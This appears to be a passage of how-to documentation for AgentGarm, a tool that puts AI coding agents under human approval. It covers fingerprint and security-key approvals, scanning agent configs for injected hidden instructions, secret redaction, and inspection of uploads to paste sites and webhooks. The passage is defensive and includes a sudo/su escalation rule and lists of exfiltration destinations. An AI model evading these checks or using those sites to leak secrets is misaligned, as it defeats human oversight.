presence grant preview turns one ask into a 5-minute grant for exactly that command in that task, approved the same way (trace a task). The same watcher confirms approvals that are not a retried call preview: new hooks, plugins and MCP servers held at launch, which you approve with agentgarm approve (catch poisoned agent configs); a rollback of files under a legal hold with agentgarm rollback --force-held; and, on a Mac, a computer-use agent's click or key press on a protected element, which the airbag drops and your approval turns into a 60-second grant for that element in that task (govern computer-use agents). See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. 5. Re-enrol after a fingerprint change Adding or removing a fingerprint invalidates the key for good. The next time the watcher cannot sign, it tells agentgarmd, which revokes the key, and the watcher stops with a message saying approvals are blocked until you re-enrol. Until then every ask is denied; it does not fall back to the agent's own prompt, and the revocation survives a restart. Re-enrol as in the first step, then start the watcher again. On macOS the AgentGarm menu bar app preview also shows the revocation and offers “Re-enrol Presence Key…”, which asks for an administrator's password to open the window and then enrols the new key. Re-enrol, root install on macOS sudo agentgarm enrol --open "$USER" agentgarm enrol agentgarm presence watch 6. Replace or retire a key when a Mac is lost or a person leaves The key never leaves the Mac it was made on: its private half stays in that Mac's Secure Enclave, and the handle that reaches it opens only there and only with the enrolled person's fingerprint, so a lost Mac's key cannot approve anything elsewhere. Each user account on a Mac has one key; enrolling a new one for that account in a fresh window replaces the old and drops its pending requests. There is no command yet that removes a key without enrolling another, so when a person leaves, their account's key stays enrolled until that account is removed or re-enrolled: hand the Mac over under a new account and remove the old one. On a fleet, stop trusting a lost Mac by revoking the machine in Central Lite preview (enrol developer machines), so every service refuses its certificate. If the lost Mac held a remote approver's passkey, revoke that approver (approve CI jobs); if it held a Central Lite admin's only passkey, the admin recovers with a one-time code from Central Lite's host (stand up Central Lite). Recovery adds a passkey but does not remove the old one, so it does not shut out whoever holds the lost Mac. On a fleet whose people come from your identity provider preview, deactivating a person who leaves ends their console sessions, stops Central Lite counting the remote approver keys they hold, and ends the gateway keys AgentGarm issued them on every machine (offboard someone). Their Touch ID key on their own Mac is untouched: remove or re-enrol that account as above. Which console roles may answer a remote approval is in Give people the right access in the console. Enrol a key for the Mac's new account, root install on macOS sudo agentgarm enrol --open agentgarm enrol # as that user 7. Require presence on a rule preview Add presence: required to an ask rule when the agent's own prompt must never answer it. When no presence key this host accepts is active for the user (none enrolled, a revoked key, or a no-root install), agentgarmd turns that ask into a deny, enforced by agentgarmd itself, and the reason says how to enrol, or, on a no-root install, that presence cannot be verified there. With a key enrolled nothing changes: the ask goes to the watcher as above. In audit mode the deny is recorded and the call allowed, as for every ask. An ask rule that needs presence security_boundaries: execution: rules: - id: privilege-escalation ask: { exec: [sudo, sudoedit, su, doas, pkexec, run0], presence: required } See also Allow, ask or deny shell commandsWrite command rules on the parsed command and its wrappers, not its text, choose between asking and denying, and replay commands before you rely on them. 8. Approve with a security key on Linux or a Mac without Touch ID preview On Linux the same commands use a FIDO2 security key by default: agentgarm enrol creates a credential on the key, and the watcher asks for the key's PIN (or its built-in verification) and a touch, where doing nothing declines. A Mac without Touch ID (a Mac mini, or a laptop closed on a desk) takes the same key with --method fido2, and the watcher then picks the key by itself. Without a key, agentgarm presence watch --method polkit asks polkit for your password instead; that is labelled not presence-backed, rates C, and never answers a rule with presence: required. On a headless machine enrolled in Central Lite, an ask rule marked approval: remote goes to an approver's passkey on another device instead (govern a headless machine). Windows Hello is built, but stays switched off until its device tests are recorded. Enrol and watch with a FIDO2 key, root install on Linux or macOS sudo agentgarm enrol --open "$USER" agentgarm enrol --method fido2 agentgarm presence watch --method fido2 Approve with your password through polkit, no key enrolled agentgarm presence watch --method polkit Next guide: Approve risky actions on WindowspreviewAll how-to guides # Approve risky actions on Windows URL: https://agentgarm.com/docs/how-to/windows-hello Docs › How-to guides › Approve risky actions on Windows Guide 17 of 61 · Writing policy Approve risky actions on Windows Enrol a security key on a Windows PC and approve each command your policy asks about through Windows' own WebAuthn; Windows Hello itself comes later. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Enrol a FIDO2 security key on a Windows PC through Windows' own WebAuthn, keep the presence watcher running, and approve each command your policy asks about with the key's PIN and a touch: the watcher shows exactly what will run, the approval is good for that one call, and nothing the agent does on its own can give it. Windows Hello, the PC's built-in fingerprint, face or PIN, is built the same way but stays switched off until its isolation is proven on a real Windows 11 device. On this page 1.Know why Windows Hello is switched off for now 2.Enrol a security key 3.Keep the presence watcher running 4.Read the request and approve, or refuse 5.Re-enrol when a key stops working 6.Require presence on a rule 1. Know why Windows Hello is switched off for now A Windows Hello key belongs to your Windows account, so any program running as you could ask for a signature with it, including an agent. AgentGarm uses Hello only from inside its own packaged helper, agentgarm-agent, which runs in an AppContainer under the AgentGarm.Agent package identity, and agentgarmd accepts a Hello key or approval only from that package, signed by AgentGarm and started from C:\Program Files\AgentGarm\bin. That is built, but turning it on waits for a test on a real Windows 11 device that a program outside the package cannot use the key. Until then agentgarmd refuses Hello keys, agentgarm enrol --method hello is refused, and Windows approvals use a FIDO2 security key. Windows Server and Remote Desktop sessions always need a security key, redirected over Remote Desktop or plugged in, with no software fallback. Approvals need the Windows service install, where agentgarmd runs as SYSTEM; without it every approval is only the agent's own prompt. See also Run AgentGarm on WindowsInstall the Windows preview, start agents in its Job Object sandbox, use the tray, know what Windows enforces next to macOS and Linux, and remove it. 2. Enrol a security key In your own terminal, whoami /user prints your SID. An administrator, in an elevated terminal, opens a 5-minute enrolment window for it with agentgarm enrol --open; the window admits one key, and agentgarmd refuses to open one from inside a governed task. Then, as yourself in an ordinary terminal (not elevated), run agentgarm enrol. Windows asks for the key's PIN and a touch, and agentgarmd checks that the key verified you before it binds the key to your account and records the enrolment in the audit log. On a PC enrolled in Central Lite, an administrator can issue you a presence enrolment grant instead of opening the window as administrator (enrol developer machines). Open the window, in an elevated terminal agentgarm enrol --open Enrol your key, as yourself within 5 minutes agentgarm enrol 3. Keep the presence watcher running agentgarm presence watch receives your approval requests one at a time. Start it in a terminal of your own, outside any agent, in your desktop session: it exits at once in a service session, without the service install, or while you have no key enrolled. agentgarm doctor's presence line says whether agentgarmd has a key enrolled for you, has revoked it, or has none, and whether Windows Hello is available or still switched off. Start the watcher agentgarm presence watch Check your presence key agentgarm doctor 4. Read the request and approve, or refuse When the policy asks about a call, the hook denies it for now and tells the agent to wait for your approval and retry. The watcher prints “approve for AgentGarm:” with the command exactly as it will run, secrets replaced, and how many seconds you have. Enter the key's PIN and touch it to approve: the watcher prints approved:, and the agent's retry of exactly that call, in that task, is allowed once and recorded with the approval. Cancel Windows' prompt, or do nothing until the request expires, and the call stays denied. The signature covers this one request in your own Windows session, so it cannot be replayed, moved to another command or answered from another session. For agents started with agentgarm run, whose sandbox keeps them away from the key, approvals rate B; hooks-only sessions rate C. See also Approve risky actions with Touch IDEnrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. 5. Re-enrol when a key stops working agentgarmd revokes a security key whose signature counter does not rise, and the watcher stops. Once Windows Hello is on, clearing the PC's TPM or resetting your Windows Hello PIN invalidates a Hello key: the watcher reports which one happened, and agentgarmd revokes the key and raises an alert. Either way, every ask is denied until you re-enrol, with a new window from an administrator, and start the watcher again. Re-enrol and start the watcher again agentgarm enrol --open # an administrator, in an elevated terminal agentgarm enrol # you, within 5 minutes agentgarm presence watch 6. Require presence on a rule The same policy works on Windows as on a Mac or Linux. Add presence: required to an ask rule when the agent's own prompt must never answer it: with no key enrolled for you, or a revoked one, agentgarmd turns that ask into a deny, and the reason says how to enrol. The Touch ID guide shows the rule. See also Approve risky actions with Touch IDEnrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. Next guide: Catch poisoned agent configs before launchAll how-to guides # Catch poisoned agent configs before launch URL: https://agentgarm.com/docs/how-to/agent-config-scan Docs › How-to guides › Catch poisoned agent configs before launch Guide 18 of 61 · Writing policy Catch poisoned agent configs before launch Scan the instruction, settings, hook, plugin and MCP files your agents read for hidden text and auto-approval switches, and gate CI on the result. Steps marked preview rely on a package that has not passed its release gate. Scan the instruction, settings, hook, plugin and MCP files your agents read for hidden text, auto-approval switches, commands a repository makes the agent run and unpinned sources; decide in policy which findings only alert and which deny; and gate CI on the result. In preview, the launcher applies the same posture at every launch and holds new hooks, plugins and MCP servers until you approve them. On this page 1.Scan a project 2.Read the findings 3.Set the agent_config posture 4.Gate CI or a pre-commit hook on the scan 5.Let agentgarm run refuse a poisoned launch 6.Approve new hooks, plugins and MCP servers 1. Scan a project agentgarm scan inventories the files agents read in the current directory and in your home: CLAUDE.md, .claude/settings.json, .mcp.json, .cursor/rules/, AGENTS.md and the other locations each agent loads. It reads files only: nothing is executed, fetched or changed. --project names another directory, --no-home leaves your home out, and --json prints the inventory with each file's hash. Without --policy every finding alerts and the scan exits 0. Scan this project and your home agentgarm scan Scan only the project, as JSON agentgarm scan --no-home --json Checked by the walk: these commands ran as written on a no-root Linux install. 2. Read the findings Each line starts with ALERT, WOULD-DENY or DENY, then the class and code, the file (relative to the project, or under ~/) with its line, and a detail; the last line counts the artifacts and findings. The classes are injection (text a reviewer cannot see, and imperatives aimed at the agent), auto_approval (settings that let the agent act without asking), executable_config (hooks, helper commands and MCP servers a repository makes the agent run), unpinned_source (plugins and packages taken by branch, tag or range), secret, credential_path and integrity (a file the scan could not check in full). A secret is reported by rule, never its value, and hidden characters are escaped, so the report cannot rewrite your terminal. The imperative list and the credential paths are heuristics: a finding is a prompt for review, not proof. 3. Set the agent_config posture security_boundaries.agent_config in your policy sets allow, alert (the default) or deny for each class. When on_integrity is unset it denies whenever another class denies, so a repository cannot slip a file past a deny by making it uncheckable. Scan with --policy to apply it: in enforce mode a denied finding exits 1, and in audit mode it is listed as WOULD-DENY. The default packs set no posture, so every class alerts until you add one. An agent_config posture agent_config: # agent-configuration supply chain (`agentgarm scan`) on_injection: deny # hidden text or agent-directed imperatives in rules files on_auto_approval: alert # bypassPermissions and equivalents on_executable_config: alert # project hooks, helpers, MCP servers on_unpinned_source: deny # plugins and packages by branch or tag on_secret: deny on_credential_path: alert on_integrity: deny # files the scan could not check (default: deny when any class denies) Scan under your policy's posture, no-root install on Linux agentgarm scan --policy ~/.config/agentgarm/agents.d/claude-code.yaml Scan under your policy's posture, no-root install on macOS agentgarm scan --policy ~/Library/Application\ Support/AgentGarm/agents.d/claude-code.yaml Checked by the walk: this command ran as written on a no-root Linux install. 4. Gate CI or a pre-commit hook on the scan On its own the scan stops nothing: agents read these files themselves, so it is observed, C. It enforces where its exit code is a gate. Keep a copy of your policy in the repository and run the scan over the project alone in CI or a pre-commit hook; a denied finding under an enforce-mode policy exits 1 and fails the job. Scan the repository in CI agentgarm scan --no-home --policy claude-code.yaml 5. Let agentgarm run refuse a poisoned launch preview agentgarm run scans the configuration the launched agent would load (the workspace up to its repository root, your home and the system's managed files) under the same posture before anything runs. In enforce mode a denied finding refuses the launch with exit 1, lists each finding on stderr as DENY with its class, code and path, and records the refusal with agentgarmd; no checkpoint, sandbox or agent is started. In audit mode the findings are listed as WOULD-DENY and the launch goes ahead. On macOS the sandbox then keeps the agent from adding a hook, plugin or Codex skill (~/.codex/skills) during the session; on Linux, Landlock cannot protect those files inside the workspace or the agent's own directory, so the next launch's scan is what catches one. Launch Claude Code through the scan agentgarm run -- claude See also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 6. Approve new hooks, plugins and MCP servers preview The launcher also checks the hooks, plugins and MCP servers it would load against agentgarmd's registry of approved artifacts. Under on_unapproved: alert, the default, a new or changed one is listed with a pending id and the launch goes ahead; deny refuses the launch; approve waits for your presence approval, and refuses as under deny without a key or when the approval lapses. approve_classes adds skills and subagents. agentgarm approve lists what is pending; review it, then approve by id, or all of it with --all on a first run. On a root install with a presence key you confirm in agentgarm presence watch (B); without a key an administrator approves with sudo agentgarm approve (C); on a no-root install your own approval counts, C. Pending ids live in agentgarmd's memory, so after a restart launch again to list them. Wait for a presence approval at launch agent_config: on_unapproved: approve approve_classes: [skill] List pending artifacts agentgarm approve Approve one pending artifact, or every one listed agentgarm approve agentgarm approve --all Checked by the walk: this command ran as written on a no-root Linux install. See also Approve risky actions with Touch IDEnrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. Next guide: Keep agent versions in checkAll how-to guides # Keep agent versions in check URL: https://agentgarm.com/docs/how-to/agent-versions Docs › How-to guides › Keep agent versions in check Guide 19 of 61 · Writing policy Keep agent versions in check List your installed agents against the versions AgentGarm verified their hooks for, and bring an agent that updated past that range back in range. Steps marked preview rely on a package that has not passed its release gate. List the agents installed on your machine with the version AgentGarm verified each one's hooks against, see what happens when an agent updates past that range, and bring it back in range. Agent hook APIs change often, so a version AgentGarm has not checked lowers the assurance of every task that runs it. On this page 1.List your installed agents 2.Read the status of each agent 3.See what drift does to a task 4.Check installed agents against advisories 5.Find AI runtimes and apps outside governed sessions 6.Bring the agent back into range 1. List your installed agents agentgarm agents finds every agent executable with an AgentGarm adapter on your PATH and prints its version, its status, its hook tier and its path. The version is read from the install path or the npm package.json, never by running the agent: running an unsandboxed agent to ask its version would be the very code execution the launcher exists to contain. --json prints the same with each agent's verified range, for scripts. List installed agents agentgarm agents List installed agents as JSON agentgarm agents --json Checked by the walk: these commands ran as written on a no-root Linux install. 2. Read the status of each agent supported is inside the range the adapter was verified against. newer than verified and older than supported are drift: the agent's hook contract may have changed, and agentgarm agents exits 1 so a script can stop on it. version unknown is shown but does not change the exit code. The hook tier is C today for every agent: no adapter records a live run against a real agent yet, so none is rated higher. In --json, each agent has support, a drift flag and its verified_range, so a script can list only the agents that drifted. Check the status of each agent agentgarm agents List only the agents that drifted agentgarm agents --json | jq -r '.[] | select(.drift) | "\(.agent) \(.version) (verified \(.verified_range))"' Checked by the walk: this command ran as written on a no-root Linux install, and the output showed supported. 3. See what drift does to a task When agentgarm run launches an agent that is newer than verified, older than supported, or whose version cannot be read, it says so on stderr and reports CLI drift to agentgarmd before the agent starts; the launch goes ahead at a lower assurance. agentgarmd also reads the agents it governs at start and every 10 minutes, so an agent that updates itself while running raises the same alert and lowers its live tasks. agentgarm status shows each task's level and the installed agents against their verified ranges, and agentgarm doctor checks the versions too. Check each task's level and the agents' ranges agentgarm status Check the agent versions with the other checks agentgarm doctor Checked by the walk: these commands ran as written on a no-root Linux install. See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. 4. Check installed agents against advisories preview With a signed advisory pack in force, agentgarm agents also lists an ADVISORY line for each installed agent whose version an advisory names, and exits 1. agentgarm status adds the desktop AI apps the inventory found, and agentgarm doctor warns once per match. A matching agent is reported, never refused: it still launches and is governed as before. Without a pack, agentgarm agents says the advisories were not checked; AgentGarm does not ship a signed advisory pack yet. 5. Find AI runtimes and apps outside governed sessions preview agentgarm-session also looks for local model runtimes (Ollama, vLLM, LM Studio and the llama.cpp server, probed only on loopback, on the ports the catalog lists) and desktop AI apps, every 10 minutes. agentgarm status --inventory runs a sweep now and lists each one with its address or path and whether a governed session used it (UNMANAGED or governed); the dashboard's Overview counts them in one line, and its Agents screen lists them under “Other AI on this machine”. It is inventory, not enforcement: nothing is blocked, nothing counts as a denial, and prompts and model output are never read. Sweep for local AI runtimes and apps now agentgarm status --inventory 6. Bring the agent back into range AgentGarm reports versions; it does not pin them, and no policy setting refuses a version. To clear drift, install a version inside the range agentgarm agents --json shows, or turn off the agent's automatic updates where it has them, then run agentgarm agents again. A version newer than verified is covered once an AgentGarm release verifies the agent's hooks at that version. For an agent installed from npm, such as Codex CLI, install a version inside the range by its number. Install a Codex CLI version inside its verified range, then check again npm install -g @openai/codex@ agentgarm agents Next guide, in Protecting secrets and data: Keep secrets and card numbers out of promptsAll how-to guides # Keep secrets and card numbers out of prompts URL: https://agentgarm.com/docs/how-to/dlp Docs › How-to guides › Keep secrets and card numbers out of prompts Guide 20 of 61 · Protecting secrets and data Keep secrets and card numbers out of prompts See which credentials your agent sends its model provider, have the proxy replace them with cache-safe placeholders, and deny tool calls that carry one. Steps marked preview rely on a package that has not passed its release gate. See which credentials and payment card numbers your agent sends to its model provider, have the proxy replace them with placeholders that keep the provider's prompt cache working, deny hooked commands and tool calls that carry one, and know what to do when a finding is wrong. On this page 1.See what the proxy finds 2.Turn on redaction 3.Know why the prompt cache keeps working 4.Apply the same rules to hooked calls 5.Check uploads to paste sites and webhooks 6.Deal with a false positive 1. See what the proxy finds Start the agent with agentgarm run, so its model calls go through agentgarm-session's proxy. By default the proxy runs DLP in inspect mode: it scans a copy of each request off the forwarding path and never changes a byte, and it scans responses as they stream. It looks for credentials in known formats (Anthropic, OpenAI, AWS access key ids, GitHub, GitLab, Slack, Google API keys, Stripe live keys, npm tokens and PEM private key blocks) and for payment card numbers with a valid Luhn digit; names, addresses and other personal data are not detected. Each finding is recorded with the rule ids, a count and the action taken, never the secret. The dashboard's Alerts screen lists it as “Secret detected” (the Overview shows the newest alerts), with the count and the rule ids (for example anthropic_api_key). Run Claude Code through the proxy agentgarm run -- claude Open the dashboard agentgarm ui --open Checked by the walk: this command ran as written on a no-root Linux install. The dashboard's Overview: a status line, four tiles, then what was denied and the newest alerts beside the tasks running now and their assurance level 2. Turn on redaction Redaction is a setting of agentgarm-session, not of the policy: start it with --dlp redact (--dlp off turns DLP off). No install option sets it. A no-root install runs agentgarm-session as a user service, so add the two arguments to its command line, the ExecStart line of ~/.config/systemd/user/agentgarm-session.service on Linux or the ProgramArguments of ~/Library/LaunchAgents/com.agentgarm.session.plist on macOS, and restart it. The overview then says “Secret redacted” for each request it changed. Running agentgarm install --user again rewrites that file without the arguments, which returns the proxy to inspect mode with no alert, so add them again afterwards and check the overview for “Secret redacted”. A root install keeps the unit for every user in /etc/systemd/user/agentgarm-session.service or /Library/LaunchAgents/com.agentgarm.session.plist, which only root can edit, and sudo agentgarmd install --session rewrites it the same way. Redaction replaces secrets in JSON request bodies sent without compression; a compressed body is forwarded as it is and only reported. It fails closed: a request it cannot redact is refused in the provider's error format and never forwarded unredacted. That is a 500 if the scan does not complete, a 400 for JSON nested more than 1,024 levels deep or holding more than 65,536 secrets, a 503 with retry-after while the proxy's request memory is full, and a 413 when the body and its redacted copy can never fit in it. Except for the 500, a refused request's secrets are still reported, as denied. Restart agentgarm-session after editing its unit, no-root install on Linux systemctl --user daemon-reload systemctl --user restart agentgarm-session Reload agentgarm-session after editing its property list, no-root install on macOS launchctl bootout gui/$(id -u)/com.agentgarm.session launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.agentgarm.session.plist Checked by the walk: this command ran as written on a no-root Linux install. 3. Know why the prompt cache keeps working A secret becomes . While agentgarm-session runs, the same secret always gets the same placeholder, and only the secret's bytes change: the body is not re-serialised, so key order, whitespace and cache_control positions stay as the agent sent them. A conversation redacted from the first appearance of a secret is byte-identical turn after turn, which keeps the provider's cached prefix. Signed content (thinking, signature and redacted_thinking) is never rewritten, since changing it breaks the provider's signature check; a secret there is still reported. The key is random and never stored, and neither is the mapping. After agentgarm-session restarts, a secret maps to a new placeholder, so the first redacted request of each conversation costs one prompt-cache miss. Turning redaction on in the middle of a conversation changes its earlier turns once; Claude Code recovers from the resulting thinking-signature mismatch. 4. Apply the same rules to hooked calls agentgarmd runs the same detection on what a hook asks about: commands and their arguments, and tool and MCP arguments. Every pack ships with on_secret: alert, which records the finding and lets the call proceed. With on_secret: deny in an enforce-mode policy, a call carrying a secret is denied by the rule builtin.dlp, and Claude Code is told “AgentGarm: the call contains a secret”; in audit mode it only alerts. on_secret: redact denies a hooked call the same way, since no hook can hand the agent its arguments back with placeholders. The hook layer is advisory, since agents let a call through when their hook times out. Whatever the setting, the requests stored with each decision, and tool and MCP call arguments, are redacted before they reach agentgarmd's store. Lint the edited policy and restart agentgarmd, as in the first guide. The pack's DLP setting, under security_boundaries dlp: on_secret: alert Deny calls that carry a secret security_boundaries: dlp: # A secret in a hooked command or tool call denies the call (builtin.dlp), in enforce mode only. on_secret: deny Lint your Claude Code policy, no-root install on Linux agentgarm policy lint ~/.config/agentgarm/agents.d/claude-code.yaml Checked by the walk: this command ran as written on a no-root Linux install. See also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 5. Check uploads to paste sites and webhooks preview The same detection runs on another surface, WEB, when a policy lists sites for outbound inspection (security_boundaries.network.inspect): agentgarm-session reads what a launched agent's tools send to those sites, the request's path, query and body, and never the response. There a finding is recorded in Audit mode as what Block would have stopped, alerted in Alert mode, or denied in Block mode, where the request is never sent; a key sent to the service that issued it (a GitHub token to api.github.com) is recorded as expected and raises no alert. Each finding keeps the site, the rule ids, a count and where in the request it was, never the secret. Its own guide covers turning it on and reading its findings. See also Check what agents upload to paste sites and webhooksHave AgentGarm read what launched agents send to paste sites, file sharing and webhooks, record or stop secrets, and fix tools that refuse its certificate. 6. Deal with a false positive The detection favours precision over recall, because a wrong finding denies or rewrites real work. A rule fires only on the right prefix, character set and length, with a token boundary on both sides and enough entropy, so a prefix inside a word, a low-entropy placeholder such as sk-ant-xxxx, a timestamp, a public key or a number that fails the Luhn check is not a finding. The alert names the rule that fired, and under deny the decision's audit reason reads secrets found: followed by the rule ids. For prompts and hooked calls the policy has no per-rule exception: if a finding blocks work, set on_secret back to alert, or run agentgarm-session without --dlp redact. For a site under outbound inspection, per_host's ignore_rules records one rule's findings on that site as expected. Next guide: Check what agents upload to paste sites and webhookspreviewAll how-to guides # Check what agents upload to paste sites and webhooks URL: https://agentgarm.com/docs/how-to/outbound-inspection Docs › How-to guides › Check what agents upload to paste sites and webhooks Guide 21 of 61 · Protecting secrets and data Check what agents upload to paste sites and webhooks Beta Have AgentGarm read what launched agents send to paste sites, file sharing and webhooks, record or stop secrets, and fix tools that refuse its certificate. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. List the paste sites, file-sharing sites and webhooks your agents should not quietly send secrets to, and AgentGarm reads each request a launched agent's tools send them, on this machine, before it leaves. At the end you can read what was found, stop uploads that carry a secret on the sites you choose, and get a tool that refuses AgentGarm's certificate working again. On this page 1.Know what is read and what never is 2.Turn it on 3.Run an agent with agentgarm run 4.Read a finding 5.Switch a site to Block 6.When a tool refuses the certificate 1. Know what is read and what never is Nothing is read until a policy lists sites, in security_boundaries.network.inspect. For those sites only, agentgarm-session opens the HTTPS connections that agents started with agentgarm run make, with a certificate from a web inspection CA that agentgarmd keeps on this machine, apart from the one it uses for model providers. It reads each request's address (path and query) and the body being uploaded, in memory, and scans them with the same detection as prompts: the credential formats and card numbers the prompt redaction guide lists, also inside form fields, multipart parts, compressed bodies (gzip, deflate, zstd) and base64. Then it forwards the request, records it or stops it. Request headers are not scanned. Never read or kept: what the site sends back; any site no policy lists; model providers' APIs, subscription back ends such as claude.ai, identity providers' sign-in, update services and AgentGarm's own, which no policy can list; your browser and apps you run yourself; and the body, which is never stored, logged or uploaded. A finding keeps the site, the rule id (for example github_token), a count, where in the request it was (body, path, query, form, multipart, base64) and what was done, never the secret. The request's path is kept only with a finding or a refusal, on this machine only, with query values and any part holding a secret replaced by …. Not covered in the beta: agents not started with agentgarm run (hooks only), MCP servers' own connections, the browsers a browser agent's shim starts, responses, and HTTP/3, which a launched agent cannot use, so its tools fall back to TCP. How sure (every level is built, not yet claimed, until the package's release gate): on macOS a launched agent's sites in Block mode are B (controlled), since the sandbox sends every connection through the proxy and a tool that refuses the certificate is stopped; Audit and Alert are C (observed). On Linux it is C: Landlock limits connections by port, not address, so a tool can reach a site on the proxy's port directly, and before Linux 6.7 on any port. Windows is built and shown as C until its device run. Beta. Outbound inspection is a public beta. It leaves the beta when, in the owner's own use: fewer than 1 % of connections to listed sites fall back to going uninspected; fewer than 1 false alarm per 1,000 inspected requests; the performance budgets hold (added latency p99 under 3 ms for a request with a body up to 64 KiB on a connection already open, under 15 ms for a task's first connection to a site, plus 2 ms per MiB of body held for a scan in Block, with agentgarmd and agentgarm-session together still idle under 1 % CPU and 80 MB of memory); and the owner's walk through these guides on a Mac. To tell us how it worked, the dashboard's Outbound inspection screen has Send feedback: it shows a report of counts and versions only, never a body, a path or a site outside the presets, and copies it for you. The site has no feedback form yet: send the report as the beta page's Feedback section says. See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. 2. Turn it on On your own machine, agentgarm inspect enable --preset paste_sites --agent claude-code adds a preset to Claude Code's policy in Audit mode, the default (--mode takes audit, alert or block; without --agent it changes default.yaml). The presets are lists AgentGarm keeps and checks: paste_sites (15 sites, such as pastebin.com and paste.rs), file_sharing (14, such as file.io and transfer.sh) and webhooks (15, such as webhook.site, hooks.slack.com and discord.com). It prints the change and asks before writing it (--yes writes without asking). Only the section is added; comments and layout stay. A policy that already has the section, or a layout it cannot extend, is refused with the lines to add yourself. A root install's policy needs sudo, and on a machine your organisation manages, ask an admin instead. agentgarmd reads the policy when it starts, so restart it as in the first guide. It checks each listed site against AgentGarm's catalog as it loads the policy, and does not load a policy that lists a model provider's or subscription host, a never-inspected host, a public suffix such as co.uk, an address or a single label. Your own sites go in hosts: an exact name, *. for every subdomain (not the name itself), or :port for a port other than 443, in lowercase (a name with other letters as its xn-- form). A *. entry on a shared domain such as ngrok-free.app loads with a warning that it covers every tenant. agentgarm inspect status starts with Outbound inspection (beta) and what it reads, then the web CA (its key, custody and expiry, or off while no policy lists a site), whether agentgarm-session inspects, and the sites in force; agentgarm inspect hosts lists them. When it says the web CA is unavailable, certificates can't be issued: sites in Block are stopped, and those in Audit and Alert are sent without inspection and recorded. Add the paste sites to Claude Code's policy, in Audit agentgarm inspect enable --preset paste_sites --agent claude-code What it adds, under security_boundaries network: inspect: presets: [paste_sites] mode: audit Check the web CA and the sites in force agentgarm inspect status agentgarm inspect hosts Checked by the walk: this command ran as written on a no-root Linux install, and the output showed Outbound inspection (beta). 3. Run an agent with agentgarm run Only agents started with agentgarm run are inspected. While a policy lists sites, the launch asks agentgarmd for the web CA, puts it in the launch's own trust bundle (never a system store) and records which CA the task trusts. It points the usual variables at that bundle, replacing a value of yours: SSL_CERT_FILE, NODE_EXTRA_CA_CERTS (with NODE_USE_ENV_PROXY=1), REQUESTS_CA_BUNDLE, CURL_CA_BUNDLE, GIT_SSL_CAINFO, PIP_CERT, CARGO_HTTP_CAINFO and CODEX_CA_CERTIFICATE. On macOS and Windows the agent cannot write the bundle; on Linux it can, and a tool that drops it only refuses inspection, which Block stops. A running agent keeps the list it was launched with. When the list changes, agentgarmd changes the web CA's key, and a task started before is on an older list: sites added since go uninspected with an alert in Audit and Alert, and are refused in Block, until you restart the agent. So does every task running when agentgarmd restarts, since it keeps which CA each task trusts in memory. The dashboard names those tasks, “Restart to inspect”. An agent the hooks govern without agentgarm run is not inspected at all, and the dashboard says so. Run Claude Code through the proxy agentgarm run -- claude 4. Read a finding In the dashboard, Outbound inspection under Governance shows a status line, four figures (Sites listed, Requests today, Secrets found, Not inspected), each task's sites with their mode, state, requests, bytes sent and secrets, and an Outbound timeline per task whose markers (request inspected, secret recorded, request stopped, sent without inspection) each open their record; “Show as a list” shows them as a list. A run's History gains an Outbound lane, and Alerts an Outbound inspection family. A record says what happened and what did not. In Audit, “Block would have stopped it”; in Alert the request was sent and an alert raised; in Block, “Nothing reached paste.rs.” A key sent to the service that issued it (a GitHub token to api.github.com) is recorded as expected, never as an alert, and Audit findings are not alerts either. In Block the agent itself is answered with a 403 titled “Blocked by outbound inspection”, saying which rule matched where and that the request was not sent, with the record's event_id. agentgarm inspect explain with that id prints the site, rules, where, the action and the kept path. The record lists what to do, in order: take the secret out and retry (the agent was told the same, and if the key is real, rotate it); if it is not a secret, ask for an exception with --request-exception, which names the record, never the text (until your machine is enrolled in Central Lite, it says to ask your admin with the event id); and if the site should not be inspected at all, that is your admin's call. In the policy, per_host..ignore_rules lists rule ids whose findings on that site are recorded as expected, and exempt leaves a site uninspected (step 6). Open the dashboard agentgarm ui --open Explain a record, and ask for an exception agentgarm inspect explain agentgarm inspect explain --request-exception 5. Switch a site to Block After a week in Audit, block the sites where nothing you need would stop: per_host sets one site's mode, and mode: block every listed site's. A policy in audit mode keeps every site in Audit whatever mode says, so Block needs mode: enforce at the top of the policy. Restart agentgarmd, then the agents that are running: until then, a task started before refuses a site newly in Block. In Block, a request carrying a secret is answered by agentgarm-session and never forwarded, and so is one it cannot judge: a body it cannot decode (Brotli, or several content codings) gets 403, one whose decoded copy cannot fit in the proxy's memory 413, and a scan that does not complete 500. A body over 8 MiB is scanned as it streams, holding back 64 KiB, so a secret stops the rest of the upload (large_bodies: refuse_in_block refuses such bodies instead). WebSockets are relayed uninspected and recorded (websocket: refuse refuses them). If agentgarm-session stops, nothing leaves the sandbox. If agentgarmd does not answer, a task keeps the last answer it had for a site, so Block holds there; a task with none goes uninspected, with an alert. Block on one site, under network.inspect # Stop a request that carries a secret, on this site only. per_host: paste.rs: mode: block Lint your Claude Code policy, no-root install on Linux agentgarm policy lint ~/.config/agentgarm/agents.d/claude-code.yaml See also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 6. When a tool refuses the certificate Some tools ignore the launch's trust. In Audit and Alert, the first refusal leaves that site uninspected for the rest of the task, recorded once as “Refused by tool” in Alerts. In Block the site is refused for the rest of the task, and an alert names it as carried past inspection, which lowers the task to C. agentgarm inspect check launches curl, python3, node and git from your PATH against a probe address that agentgarm-session answers itself and never forwards, and says for each whether it trusts the CA (and through which variable), refuses it (with the fix), or went direct (it ignored the proxy settings and the sandbox stopped it); it exits 1 when one refuses or fails. agentgarm doctor's inspection check gives the web CA's custody and expiry and warns about Go and Java without launching them. Measured: curl, Homebrew Python and Ruby, pip, Node 22.21 and later, git and cargo trust the 